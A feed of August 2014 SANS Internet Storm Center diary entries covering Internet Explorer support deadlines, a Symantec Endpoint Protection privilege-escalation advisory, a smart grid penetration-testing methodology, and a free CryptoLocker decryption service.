​I can hear the security brain cells cheer and the business brain cells cringe.  From a security perspective running the latest browser typically makes sense.  However from a business perspective this may cause quite a few issues in many organisations.  Older applications were often written for specific browser versions, so to upgrade or allow for those to continue to function may not be a trivial task.  The blog does explain that you may be able to use "Enterprise mode" in IE11.  This might be one way to migrate for your organisation (http://blogs.msdn.com/b/ie/archive/2014/04/02/stay-up-to-date-with-enterprise-mode-for-internet-explorer-11.aspx)  

The blog entry also has what I'd like to call a few interesting throwaway lines.  For example "After January 12, 2016, only the most recent version of Internet Explorer available for a supported operating system will receive technical support and security updates." In other words you may have to migrate to IE12 when it becomes available for the OS you use.  

In short if you are not using the latest Internet Explorer in your organisation you may have limited time to get it sorted before your risk profile increases dramatically, unless of course all the bad guys promise to only concentrate on current versions of the browser. 

MS Blog can be found here --> http://blogs.msdn.com/b/ie/archive/2014/08/07/stay-up-to-date-with-internet-explorer.aspx

Cheers

Mark H 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Exploit Available for Symantec End Point Protection, (Wed, Aug 6th)

Fri, 08/08/2014 - 06:30

An exploit is now available at exploit-db.com for the Symantec End Point Protection privilege escalation vulnerability. Symantec released a patch for this issue earlier this week [1].

The vulnerability requires normal-user access to the affected system and can be used to escalate privileges to fully control the system (instead of being limited to a particular user) so this will make a great follow up exploit to a standard drive-by exploit that gains user privileges.

We have gotten some reports that users have problems installing the patch on legacy systems (e.g. Windows 2003). Applying the patch just fails in these cases and appears to have no ill effect on system stability.

[1] http://www.symantec.com/business/support/index?page=content&id=TECH223338

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Coming up next: Microsoft Patch Tuesday, (Fri, Aug 8th)

Thu, 08/07/2014 - 18:57

Microsoft will publish 9 bulletins next patch tuesday, with 7 important and 2 critical bulletins. More information at https://technet.microsoft.com/library/security/ms14-aug

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Friday, August 8th 2014 http://isc.sans.edu/podcastdetail.html?id=4097, (Fri, Aug 8th)

Thu, 08/07/2014 - 17:54
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Checking for vulnerabilities in the Smart Grid System, (Thu, Aug 7th)

Thu, 08/07/2014 - 17:02

SCADA systems are not composed the same way as regular IT systems. Therefore, the risk and vulnerability assessment cannot be performed as it is done for any other IT system. The most important differences are:

  • SCADA Pentesting should not be done in production environment: SCADA devices are very fragile and some activities that could pose harmless to regular IT environments could be catastrophic to the process availability. Think of massive blackouts or no water supply for a city.
  • SCADA devices have specific outputs for the industrial process they are controlling. The architecture and operating systems are not the same, so risks assessment approach is not performed in the same way. For electrical systems, we need to address devices belonging to the Advanced Metering Infrastructure (AMI), Demand Response (DR), Distributed Energy Resources (DER), Distributed Grid Management (DGM), Electric Transportation (ET) and Wide Area Monitong, Protection and Control (WAMPAC). This means we need to address devices like the following, instead of conventional network devices, services, laptops, desktop computers or mobile devices:
AMI Meters Relays Aggregators Access points DR Energy Resources Digital Control Unit DER DER Managed generation and storage devices Customer Energy Management System DGM Automated Reclosure Remote Fault Indicators Capacitor Banks Automated Switches Load Monitor Substation Breakers WAMPAC Phasor Measurement Units Device which includes Phasor Measurement Unit capabilities Field Deployed Phasor Data Concentrator Field Deployed Phasor Gateways

Table 1: Devices in the Smartgrid Network

This means we need to considering a specific methodology for this type of infrastructure that leads to effective risk mitigation for proper detection of vulnerabilities in the smartgrid system. I want to recommend one today named Guide to Penetration Testing for Electric Uitilities created by the National Electric Sector Cybersecurity Organization Resource (NESCOR). This metodology is composed by the following steps:

 


Source: http://www.smartgrid.epri.com/doc/NESCORGuidetoPenetrationTestingforElectricUtilities-v3-Final.pdf

Let's explain the steps a little bit:

  • Penetration Test Scoping: You need to decide which sector of the entire system will be the target of the assessment. Could be a substation, generation plant or any other device listed in table 1. The scope could even be the entire system.
  • Architecture Review: You want to learn the context of the entire system. This is the first step of information acquisition. Can be done checking the documentation of the system and analyzing the configuration of the devices part of the scope.You can also check for information in the same way as it is done with conventional pentesting like google, shodan, maltego and social networks.
  • Target System Setup: You don't want to perform a pentesting in a smartgrid live production environment. Instead, you need to setup an environment with the same configuration, as much as possible, to the live configuration of the smartgrid production environment. That's how we can get a full list of the vulnerabilities performing even dangerous test without affecting the availability of the electrical service.
  • Server OS, Server application, Network Communication and Embedded device penetration tasks: Those are the specific pentest tasks within the target systems. You can use several tools like
  • End to end penetration testing analysis: You need to ensure that all possible inputs from external systems to all systems in the scope have been tested and evaluated as possible vulnerable points for attacks.
  • Result interpretation and reporting: As always, you need to develop a report including the vulnerabilities that could be exploited, the risks associated, the remediation steps and other recommendations that could be applied.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Thursday, August 7th 2014 http://isc.sans.edu/podcastdetail.html?id=4095, (Thu, Aug 7th)

Wed, 08/06/2014 - 17:07
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Free Service to Help CryptoLocker Victims by FireEye and Fox-IT, (Wed, Aug 6th)

Wed, 08/06/2014 - 16:25

Various Internet Storm Center Handlers have written Diaries on the malware called CryptoLocker, a nasty piece of malware which encrypting the files of the systems it infects, then gives victims 72 hours to pay the ransom to receive a private key that decrypts those files. There are still victims out there with encrypted files, and if you're one of them or know of someone affected, the folks at FireEye and Fox-IT have created a web portal https://www.decryptcryptolocker.com/ to decrypt those files. 

This is a free service for any afflicted by CryptoLocker, many of which are small businesses without the resources to deal with this properly, so let people know.

Using the site is very straight forward (Steps taken from the FireEye blog[1]):

How to use the DecryptCryptoLocker tool Users need to connect to the https://www.decryptcryptolocker.com/ Identify a single, CryptoLocker-encrypted file that they believe does not contain sensitive information. Upload the non-sensitive encrypted file to the DecryptCryptoLocker portal. Receive a private key from the portal and a link to download and install a decryption tool that can be run locally on their computer. Run the decryption tool locally on their computer, using the provided private key, to decrypt the encrypted files on their hard drive. DecryptCryptoLocker is available globally and does not require users to register or provide contact information.

This is a fantastic resource from both FireEye and Fox-IT, so thanks to all involved in making this happen and making it free to use.

For more background on CryptoLocker from Fox-IT, read their CryptoLocker ransomware intelligence report [2].

 

[1] http://www.fireeye.com/blog/corporate/2014/08/your-locker-of-information-for-cryptolocker-decryption.html

[2] http://blog.fox-it.com/2014/08/06/cryptolocker-ransomware-intelligence-report/

Chris Mohan --- Internet Storm Center Handler on Duty

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

OpenSSL Security Advisories http://www.openssl.org/news/secadv_20140806.txt, (Wed, Aug 6th)

Wed, 08/06/2014 - 15:48

Chris Mohan --- Internet Storm Center Handler on Duty

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

OUCH is out, this month we explain what encryption is and how to use it. https://www.securingthehuman.org/ouch, (Wed, Aug 6th)

Wed, 08/06/2014 - 09:14
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts